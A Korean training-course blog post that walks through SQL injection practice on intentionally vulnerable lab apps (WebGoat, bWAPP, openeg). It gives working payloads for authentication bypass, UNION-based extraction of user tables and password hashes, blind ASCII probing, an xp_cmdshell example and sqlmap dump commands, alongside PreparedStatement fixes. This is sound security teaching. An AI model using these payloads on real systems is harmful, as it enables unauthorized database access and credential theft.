[SK shieldus Rookies 16기][취약점 진단] 실습 환경설정, SQL Injection의 개요와 공격 실습

Jina·2023년 12월 14일
0

SK shieldus Rookies 16기

목록 보기
38/59
post-custom-banner

1. 환경설정

win10 프로세스 강제 종료

$ taskkill /pid 프로세스번호 /f

각 가상 머신의 계정

  • winXP (id: administrator / pw: p@ssw0rd)
  • kali linux (id: kali / pw: kali)
  • bee box (id: bee / pw: bug)
  1. 가상머신 이미지들 .vmx 실행 > VMware에 VM 추가
  2. \FullstackLAB 에서 run.bat 파일 실행 > MySQL과 Eclipce가 실행되는데 프로세스가 실행중이라고 뜨면 프로세스 강제 종료 후 run.bot 파일 재실행하기
  3. 이클립스 실행 > Servers 탭 > 재생 아이콘 클릭

    아래 주소로 접속
  1. VMware > kali, beebox, winXP 편집> Network Adapter VMnet8로 설정 > 실행
  • VMnet8
    IP: 192.168.10.0
    Subnetmask: 255.255.255.0
  1. 내 로컬pc, 가상머신들의 ip주소 확인
$ ipconfig
$ ifconfig
  1. host 파일에 아래 내용 추가 후 저장
192.168.56.1	victim 		# host pc
192.168.10.128	winxp 	
192.168.10.130	beebox 	
192.168.10.129	attacker	# kali linux
  • 로컬pc
$ notepad c:\windows\System32\drivers\etc\hosts
  • kali & beebox
$ sudo apt update
$ sudo apt install gedit /etc/hosts
$ sudo gedit /etc/hosts 
  1. 각 가상머신에서 접속 확인

칼리 리눅스 한국어 설정
🔗 한글 입력기 추가하는 방법

2. WinXP에서 openeg 사이트 접속

먼저 어떤 값들이 입력되고 전달되고 사용되는지 먼저 유추해야한다.
사용자 화면에서 입력한 값이 서버로 전달되어 그대로 사용되는지 확인.
아이디가 a, 비밀번호가 b라고 가정한 경우

SELECT * FROM users WHERE id='a'' and pw='b''

여기서 ' 는 문자열의 시작과 끝을 나타내는데 이걸 연속으로 쓰면 ' 그 자체를 나타낸다. 그말은 즉슨 '를 본래 용도가 아닌 문자로 인식되도록 escape 시킨다. 이런 쿼리가 서버로 전달되면 해석할 수 없는 쿼리가 되어 구문 오류가 발생된다.

이 오류 페이지에서 이 사이트의 정보를 수집한다.

  • ibatis
  • springframework
  • kr/co/openeg/lab/login/dao/login.xml
  • login.loginCheck2
  • MySQL

구조를 깨는 쿼리문

SELECT * FROM users WHERE id='a' #' and pw='b' #'
								 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                                인라인 주석으로 해석 X
  • 사용자 정보를 저장하고 있는 테이블에서 id 컬럼의 값이 a인 정보가 존재하는지 확인하는 쿼리
  • 정보가 존재하면 로그인 성공
  • 정보가 존재하지 않으면 로그인 실패

로그인을 하기 위해서는 식별정보와 인증정보가 필요했으나 위 방식을 이용하면 식별정보만으로 로그인할 수 있게 되었다. 이런 경우를
로그인을 처리하는 쿼리문의 구조와 의미가 변형되었다. 고 말한다.

해당 사이트에 가입된 회원의 ID를 조회하기 위해 회원가입을 이용한다.

계정이 존재한다면 이미 가입되었다고 나타난다.

admin으로 로그인

SELECT * FROM users WHERE id='admin' #' and pw='b' #'

이 일련의 과정을 SQL Injection 취약점을 이용한 인증과정 우회라고 한다.

3. 인증과정 우회

ID/PW를 확인하는 정상적인 인증과정을 거치지 않고 로그인을 수행하는 것을 말한다.

4. SQL Injection 취약점

4.1. 정의

  • 쿼리의 구조와 의미가 변형되어 실행되는 취약점
  • 외부 입력값을 내부 처리에 사용하는 경우
  • 외부 입력값에 처리를 조작하는 문자열 포함 여부를 확인하지 않고 사용하는 경우

4.2. 방어방법

  • 입력값 검증 및 제한 : 외부에서 전달되는 값에 처리를 조작하는 문자열 포함 여부를 확인하고 사용
    • 안전하게 변경하여 사용(=이스케이프 처리해서 사용)
    • 실행될 내용(구조)를 미리 정의하고, 정의한 구문에 입력값을 매핑하는 방식으로 처리

4.3. 예상되는 문제점

  • 권한 밖의 데이터 접근 가능
  • DBMS 시스템의 제어권 탈취
  • 해당 쿼리를 통해서 제공하는 기능을 우회 또는 오용 가능

4.4. Injection 공격 종류

  1. SQL Injection: 쿼리문을 만들고 실행하는 경우
  2. XPath Injection, XQuery Injection : XPath 또는 XQuery 구문을 이용해서 XML 문서를 조작하는 처리
  3. LDAP Injection : LDAP 서버에 쿼리를 실행하는 처리
  4. Command Injection : 운영체제 명령어를 실행하는 처리

4.5. SQL Injection 유형

Error Based SQL Injection

  • 에러 기반 SQL 삽입 공격
  • 입력값으로 오류를 유발하는 값을 전달
  • 생성되는 오류 메세지를 통해 정보 수집하고, 수집한 정보를 이용해 추가 공격 계획

예시) ' 홑따옴표를 이용하기
ID 컬럼 값으로 문자열 사용할 수 없습니다. 메세지가 출력되면 ID 컬럼은 Number 타입인 것을 알 수 있다.

SELECT * FROM member WHERE id=123'

항상 참이 되는 입력

  • 쿼리문의 조건식의 결과가 항상 참이 되도록 만들어 권한 밖에 데이터에 접근하거나 조회가 가능하도록 하게 하는 공격

예시) 모든 회원 정보 조회

SELECT * FROM member WHERE id = 123 or 1 = 1

Union Based SQL Injection

  • UNION 구문을 이용한 공격
  • 원래 서비스를 통해서 실행되는 쿼리 구문에 공격자가 알고자 하는 쿼리를 UNION 구문을 이용해서 결합하여 실행
  • 원래 서비스를 통해서 제공되는 정보와 공격자가 알고자 하는 정보가 함께 노출

예시

SELECT * FROM member WHERE id = 123 and 1 = 2 UNION SELECT 1, 2, 3, 4 from tabe_name

Stored Procedure Based SQL Injection

  • 데이터베이스에서 제공하는 Stored Procedure를 실행하는 구문을 입력값으로 전달해서 실행
  • 데이터베이스의 제어권을 탈취하는 것이 가능

예시

SELECT * FROM member WHERE id = 123 ; exec xp_cmdshell 'cmd.exe /c dir'
  • ; : 쿼리문의 종결을 의미
  • exec : Stored Procedure를 실행
  • xp_cmdshell : MS-SQL에서 제공하는 시스템인 Stored Procedure로 매개변수로 전달된 값을 DBMS의 쉘에서 실행하고 그 결과를 반환
  • 'cmd.exe /c dir : 현재 디렉터리의 내용 반환

Blind SQL Injection

  • 쿼리 실행 결과에 따라서 서버의 반응이 달라지는 경우 공격자가 원하는 내용을 조회하는 쿼리를 작성해서 전달하고 실행결과를 보면서 정보를 수집

예시

  • 정상적인 실행
SELECT * FROM member WHERE id = 123
SELECT * FROM member WHERE id = 999
  • 공격 가능 여부를 확인
SELECT * FROM member WHERE id = 123 and 1 = 1
SELECT * FROM member WHERE id = 999 and 1 = 2

and 1 = 1 ⇒ ID가 123인 사용자의 정보가 제공
and 1 = 2 ⇒ 존재하지 않습니다. 메시지가 제공

  • 공격자가 알고자 하는 정보를 전달
SELECT * FROM member WHERE id = 123 and 공격자가 알고자 하는 정보를 조회하는 쿼리

사용자 정보가 제공되면 쿼리의 실행 결과가 참인 것을 메시지가 제공되면 쿼리의 실행 결과가 거짓인 것을 알 수 있음

5. 입력, 처리, 출력

입력 → 처리 → 출력

  • 입력
    • 안전한 입력 : 개발자가 의도한 형태와 내용의 입력 = 프로그램 내부에 정의, 보관된 값
    • 안전하지 않은 입력 : 프로그램 외부에서 전달된 값 = 특정 지을 수 없다.
  • 처리
    안전하게 구현하기 위한 방법
    1. 외부 입력 최소화 ⇒ 꼭 필요한 것에 한해 외부 입력 처리
    2. 외부 입력값 검증 및 제한 후 사용
      • Validation
        1. 형식 검증
          <input type="text" name="id" maxlength="8">
          입력 : 입력값의 길이를 제한
          처리 : 입력값을 사용하는 처리하는 로직이 존재. 요청 파라미터의 값이 8자 이하인지 확인
          입력→처리 사이에 서버에 전달되기 전에 8자리 이상의 값으로 변조해서 전달하는 것이 가능
        2. 내용 검증

6. WebGoat

6.1. Parameter Tampering - Exploit Hidden Fields


1. 내용 분석

  • TV를 구매하기 위해서 필요한 값 Model, Price, Quantity, Total 이 필요하다.
  • 사용자가 결정해야하는 Quantity만 입력창 제공
  • 개발자 도구 또는 소스 보기를 통해 Purchase 버튼을 클릭했을 때 값이 서버로 어떻게 전달되는지 확인
  1. Proxy 설정하기
    1. WinXP 바탕화면 > Burp Suit 폴더 > start_burp.bat 실행
    2. Proxy 서버의 서비스 포트 확인
    3. IE의 Cooxie 툴바를 이용해서 프록시 서버 설정
  2. 패킷 변조
    1. Burp Suit > Proxy > Intercept > Intercept is on
    2. Purchase 버튼 클릭
    3. 패킷 확인
    4. 수량 100개 가격을 29.999 변경 후 Intercept is off 로 변경
    5. 결과 확인
  • 문제점
    클라이언트에서 전달된 단가를 계산에 사용하고 있는 것을 확인할 수 있음
  • 안전한 처리를 위해서는...
    서버가 가지고 있는 단가 정보를 사용하여 계산에 사용해야함.

6.2. Lab: SQL Injection - Stage 1:String SQL Injection

  1. 사용자 화면에서 입력되는 내용 분석

    Naville 사용자로 로그인하기 위해 설정되어야 하는 값

  2. 서버 내부에서의 처리 예측
    예상 쿼리문

SELECT * FROM employee WHERE employee_id=112 and password='pw'
  1. Naville 사용자로 로그인 가능하도록 쿼리문 조작
    항상 참이 되는 쿼리로 수정
SELECT * FROM employee WHERE employee_id=112 and password='a' or 'a'='a'
  1. 패킷 Intercept 하기
  2. password 부분 조작 > Intercept is off
  3. 결과확인
  • 문제점
    서버에서 요청 파라미터인 password 입력값을 검증하지 않고, 쿼리문 생성 및 실행에 그대로 사용하기 때문에 발생하는 문제
  • 안전한 처리를 위해서는...
    • password 입력값에 대한 검증을 해야한다.
    • 클라이언트에 적용한 보안 규칙과 동일하거나 그 이상의 보안 규칙을 적용해야 한다.

6.3. String SQL Injection


1. 내용 분석

  • 입력화면 : Enter your last name : Smith
  • 요청 전달 과정 : Post attack?Screen=110&menu=1100 HTTP/1.1
  • account_name 라는 파라미터 값을 쿼리문에 last_name에 넣는 것으로 예상
  1. Enter your last name : Smith 입력 후 Go! 클릭 > Burp Suit로 패킷 Intercept
  2. account_name을 변경하기
SELECT * FROM user_data WHERE last_name = 'Smith' or '1'='1'

항상 참이되는 조건으로 last name이 Smith 이거나 아닌 사람들의 정보까지 출력될 것이다.

  1. 결과 확인

6.4. Numeric SQL Injection

  1. 소스 코드 분석

    • 요청 전달과정 POST attack?Screen=1640&menu=1100 HTTP/1.0
    • station=101&submit=go!
  2. 옵션 선택 > Go! 확인

  3. Burpsuit로 패킷 Intercept > Station 값 조작

  • 예상쿼리문
SELECT * FROM weather_data WHERE station = 101' or '1'='1

쿼리문에서 예상치 못한 'or' 토큰이 발견되었다는 에러 메세지가 발생되었다.

SQL쿼리에서 예상치 못한 토큰 이란? 토큰은 프로그래핑 언어에서 의미있는 최소 단위로 SQL에서는 키워드(Select, From, Where 등), 연산자(=, <>, >, < 등), 식별자(테이블 이름, 컬럼 이름 등), 상수(문자열, 숫자 등) 등이 토큰이 될 수 있다.
SQL쿼리는 이러한 토큰들이 특정한 순서와 구조를 이뤄야하는데 예를 들어 Select 다음에는 컬럼이름이 만약 이런 순서나 구조가 어긋나면 "예상치 못한 토큰"이라는 에러가 발생된다.

"" 쌍따옴표로 바꿔서 실행해봤다.

쿼리문에서 숫자를 파싱하는 고중 문제가 발생했다는 에러가 발생됐다.
"101" or "1"="1" 이 부분을 숫자로 해석하려고 했지만 문자열이어서 NumberFormatException이 발생했다고 한다.

  1. 숫자로 인식할 수 있도록 쿼리문에서 따옴표 제거 후 재시도

  2. 결과확인
    항상 참인 조건의 쿼리문이 성공적으로 실행되어 날짜데이터를 전부 가져오고 있는 것을 알 수 있다.

  • 소스코드를 안전한 형태로 변경하는 방법
    • PreparedStatement 객체를 이용해서 쿼리 실행 : 쿼리의 구조를 미리 정의하고 변수에 값을 맵핑해 실행하는 방법으로 구조화된 쿼리가 실행된다.
protected Element injectableQuery(WebSession s){
	ElementContainer ec = new ElementContainer();

	try{
		ec.addElement(makeStationList(s));
		String query;
		station = s.getParser().getRawParameter(STATION_ID, null);

		if (station == null){
			query = "SELECT * FROM weather_data WHERE station = [station]";
		}else{
			// #1 쿼리문의 구조를 정의
			//    ~~~~~~~~~~
			//    변수 부분을 물음표(?)로 마킹
			//    변수의 데이터 타입은 고려하지 않음
			// query = "SELECT * FROM weather_data WHERE station = " + station;
			query = "SELECT * FROM weather_data WHERE station = ? ";
		}
		ec.addElement(new PRE(query));

		if (station == null) return ec;

		Connection connection = DatabaseUtilities.getConnection(s);

		try{
			// #2 PreparedStatement 객체를 생성
			//    Connection.prepareStatement() 메서드를 이용해서 생성하고, 
			//    쿼리의 구조를 매개변수로 전달해야 함
			// Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
			PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);

			// #3 쿼리 실행에 필요한 변수를 setter 메서드를 이용해서 설정하고 쿼리를 실행
			//    변수 타입에 맞는 setter 메서드를 사용
			// ResultSet results = statement.executeQuery(query);
			statement.setInt(1, Integer.parseInt(station));
			ResultSet results = statement.executeQuery();

6.5. Blind Numeric SQL Injection


pins 테이블에서 cc_number가 1111222233334444인 행의 pin이 있는 모든 행

  1. 소스코드 분석

    • POST attack?Screen=1707&menu=1100
    • account_number=101&submit=go!
  2. 공격시도
    예상 쿼리문

SELECT * FROM accounts WHERE account_number=101

존재O Account number is valid.
존재X Invalid account number.

공격자가 원하는 쿼리문

SELECT * FROM accounts WHERE account_number=101 and (SELECT pin FROM pins WHERE cc_number='1111222233334444') = 핀 넘버

효율적인 공격을 위해 범위 연산 추가하기

SELECT * FROM accounts WHERE account_number=101 and (SELECT pin FROM pins WHERE cc_number = '1111222233334444') > 1000

최종적으로 찾고자 하는 값

SELECT * FROM accounts WHERE account_number=101 and (SELECT pin FROM pins WHERE cc_number = '1111222233334444') = 2364
  1. pin 값을 확인했다면 입력해주기

6.6. Blind String SQL Injection

예상 쿼리문

select * from accounts where account_number = 101 and (select name from pins where cc_number = '4321432143214321') = '찾고자하는값'

효율성을 위해서 이름 데이터의 각 자리를 아스키 코드로 만들어 범위 연산을 수행 - 매개변수에 해당하는 ASCII 코드(10진수)를 반환

select * from accounts where account_number = 101 and (select ascii(substr(name, 1, 1)) from pins where cc_number = '4321432143214321') < 46

최종적으로 찾고자하는 값

select * from accounts where account_number = 101 and (select name from pins where cc_number = '4321432143214321') = 'Jill'

결과 확인

7. bWAPP

7.1. Union Based SQL Injection(GET/Search)

계정 탈취하기

소스코드 확인

  • GET /bWAPP/sqli_1.php HTTP 1.1
  • title=man&action=search

내부 처리 유추하기 - 예상 쿼리문

/* man으로 시작하거나 끝나는 제목이 있으면 모두 가져오기 */
SELECT * FROM movies WHERE title like '%man%'

검색창에 man' %' 입력해서 오류 발생시키기

  • 사용중인 DB : MySQL
  • 입력값을 검증, 제한 없이 그대로 쿼리문 생성 및 실행에 사용하고 있다는 것 확인 가능

집합 연산자 UNION을 이용해서 원하는 데이터를 조회하도록 쿼리문 작성

SELECT * FROM movies WHERE title like '%man' UNION 공격자가 원하는 데이터를 조회하는 쿼리 --%

BUT 조회할 때 컬럼 수가 동일해야하기 때문에 먼저 컬럼의 개수를 확인해야한다.

/* movies 테이블의 모든 레코드를 찾고, 그 결과를 첫 번째 컬럼의 값에 따라 정렬 */
SELECT * FROM movies WHERE title like '%man' or 'a'='a' order by 1 -- %

검색창에 man' or 'a'='a' order by 1 -- 검색 후 결과 확인
Error가 뜰 때까지 order by 숫자를 증가시키기

컬럼이 7개 있다는 것을 확인했다.

모든 컬럼이 출력에 사용되고 있지 않을 수 있기 때문에 출력 위치와 사용되는 컬럼을 확인한다.

SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,2,3,4,5,6,7 -- %'

검색창에 man' and 'a'='b' UNION SELECT 1,2,3,4,5,6,7 -- 검색 후 컬럼 확인

MySQL 서버 버전 확인해보기

SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,@@version,3,4,5,6,7 -- %' 

INFORMATION_SCHEMA 를 사용해 스키마 테이블 이름 모두 가져오기

참고
https://dev.mysql.com/doc/refman/8.0/en/information-schema.html

SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,table_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = SCHEMA() -- %'

users 테이블에서 컬럼 정보 검색해보자

SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' -- %'

users 테이블에서 id, login, password 컬럼을 조회해보자

SELECT * FROM movies WHERE title like '%man' and 'a'='b' UNION SELECT 1,id,login,password,5,6,7 FROM users -- %'

  • id : A.I.M / pw : 6885858486f31043e5839c735d99457f045affd0
  • id : bee / pw : 6885858486f31043e5839c735d99457f045affd0

여기서 password는 단방향 해시값으로 암호화되어 저장되었다는 것을 알 수 있다.

8. openeg

kali linux에서 openeg 접속 http://victim:8080/openeg/

sqlmap 설치

$ sudo apt update
$ sudo apt install sqlmap -y

8.1. openeg 로그인페이지 스캔하기

sqlmap으로 스캐닝하기

$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2

데이터베이스 목록을 조회

$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 --dbs

opened 데이터베이스가 가지고 있는 테이블 정보를 조회

$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 -D openeg --tables

board_member 테이블에 컬럼 정보를 조회

$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 -D openeg -T board_member --columns

board_member 테이블에 데이터를 조회

$ sqlmap -u http://victim:8080/openeg/login.do --forms --crawl=2 -D openeg -T board_member --dump

주의! 절대 외부 사이트(특히, 공공기관, 금융기관)를 대상으로 sqlmap 을 실행하면 안된다.

9. SQL Injection 방어 기법

  1. 구조화된 쿼리를 이용해서 쿼리문을 정의하고 실행
    • 쿼리문의 구조를 정의하고 정의 쿼리문에 값을 바인딩하는 형식으로 실행
    • PreparedStatement 객체를 이용
  2. 구조화된 쿼리를 제공하지 않는 경우, 입력값에 쿼리 조작 문자열 포함 여부를 확인하고 사용
    • 해당 문자를 제거하고 사용
    • 안전한 형태로 변경 후 사용 ⇒ 이스케이프 처리
  3. iBatis, myBatis와 같은 프레임워크를 사용하는 경우 외부 입력값을 쿼리맵에 적용할 때 반드시 # 기호를 사용
SELECT * FROM USER WHERE col = #{값}
  1. 오류 메세지에 시스템 중요 정보가 포함되지 않도록 한다.
    • 시스템 내부에 오류가 발생하는 경우 오류에 대한 구체적인 내용(로그를 통해서 관리)이 아닌 일반화된 메세지가 제공되도록 해야 한다.
  2. 어플리케이션에서 사용하는 DB 사용자 계정의 권한을 최소한으로 설정한다.
    • 시스템 Table, View, Stored Procedure에 접근 권한을 제거하는 것이 필요하다. Union Based SQL Injection과 같은 형태의 공격이 이루어 지는 것을 예방할 수 있다.

오류 메세지에 시스템 중요 정보가 포함되지 않도록 한다.어플리케이션에서 사용하는 DB 사용자 계정의 권한을 최소한으로 설정한다. 는 SQL Injection 공격을 직접적으로 방어하는 것이 아니고 SQL Injection 공격이 확산되는 것을 방어하는 기법이다.

profile
공부 기록
post-custom-banner

0개의 댓글